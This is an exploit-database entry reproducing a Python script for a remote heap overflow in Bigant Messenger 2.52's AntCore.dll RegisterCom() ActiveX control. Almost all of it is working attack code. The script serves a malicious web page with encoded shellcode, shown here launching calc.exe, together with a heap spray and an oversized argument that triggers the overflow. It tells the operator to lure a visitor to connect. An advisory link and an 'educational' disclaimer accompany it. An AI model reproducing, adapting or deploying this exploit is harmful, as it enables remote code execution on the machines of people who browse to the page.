发布 2010-04-27 漏洞条目

Bigant Messenger 2.52 – ‘AntCore.dll RegisterCom()’ Remote Heap Overflow

Exploit Source

#!/usr/bin/python

# #########################################################################################

# Bigant Messenger <= v2.52 - (AntCore.dll) RegisterCom() Remote 0day Heap Overflow Exploit

# Found by: Steven Seeley - mr_me( AT )corelan.be - http://net-ninja.net/

# Homepage: http://www.bigantsoft.com/

# Download: http://www.bigantsoft.com/download.html

# Tested on: Windows XP SP3 (IE 6 & 7)

# Marked safe for scripting: No

# Advisory: http://www.corelan.be:8800/advisories.php?id=10-033

# Patch: http://www.bigantsoft.com/software/BigAnt255SP8.zip

# Greetz: Corelan Security Team

# http://www.corelan.be:8800/index.php/security/corelan-team-members/

# ########################################################################################

# Note: There are many other vulnerable controls in this dll such as ListBoard().

# ########################################################################################

# Script provided 'as is', without any warranty.

# Use for educational purposes only.

# Do not use this code to do anything illegal !

# Note : you are not allowed to edit/modify this code.

# If you do, Corelan cannot be held responsible for any damages this may cause.

# ########################################################################################

from BaseHTTPServer import HTTPServer

from BaseHTTPServer import BaseHTTPRequestHandler

import sys

class myRequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

self.printCustomHTTPResponse(200)

if self.path == "/":

target=self.client_address[0]

self.wfile.write("""<html>

//calc.exe

var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +

"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +

"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +

"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +

"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +

"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +

"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +

"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +

"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +

"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +

"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +

"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +

"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +

"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +

"%u652E%u6578%u9000");

var sSlide = unescape("%u9090%u9090");

var heapSA = 0x0c0c0c0c;

function tryMe()

{

var buffSize = 5140;

var x = unescape("%0a%0a%0a%0a");

while (x.length<buffSize) x += x;

x = x.substring(0,buffSize);

boom.RegisterCom(x,1,1);

}

function getsSlide(sSlide, sSlideSize)

{

while (sSlide.length*2<sSlideSize)

{

sSlide += sSlide;

}

sSlide = sSlide.substring(0,sSlideSize/2);

return (sSlide);

}

var heapBS = 0x400000;

var sizeHDM = 0x5;

var PLSize = (sCode.length * 2);

var sSlideSize = heapBS - (PLSize + sizeHDM);

var heapBlocks = (heapSA+heapBS)/heapBS;

var memory = new Array();

sSlide = getsSlide(sSlide,sSlideSize);

for (i=0;i<heapBlocks;i++)

{

memory[i] = sSlide + sCode;

}

</script>

<p><center>~ mr_me presents ~</p>

<p><b>Bigant Messenger <= v2.52 - (AntCore.dll) RegisterCom() Remote 0day Heap Overflow Exploit</b></center></p>

</body>

</html>""")

print ("\n\n(+) Exploit sent to the target %s." % (target))

def printCustomHTTPResponse(self, respcode):

self.send_response(respcode)

self.send_header("Content-type", "text/html")

self.send_header("Server", "myRequestHandler")

self.end_headers()

httpd = HTTPServer(('', 80), myRequestHandler)

print ("""

\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

\tBigant Messenger <= v2.52 - (AntCore.dll) RegisterCom() Remote 0day Heap Overflow Exploit

\tFound by: Steven Seeley - mr_me( AT )corelan.be

\tTested on windows XP sp3 (IE 6/7)

\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

""")

print ("(+) Listening on port 80.")

print ("(+) Have someone connect to you.")

print ("\nType <ctrl>-c to exit..")

try:

httpd.handle_request()

httpd.serve_forever()

except KeyboardInterrupt:

print ("\n\n(-) Exiting Exploit.\n\n")

sys.exit(1)

作者: mr_me
日期: 2010-04-27
类别: remote
平台: windows

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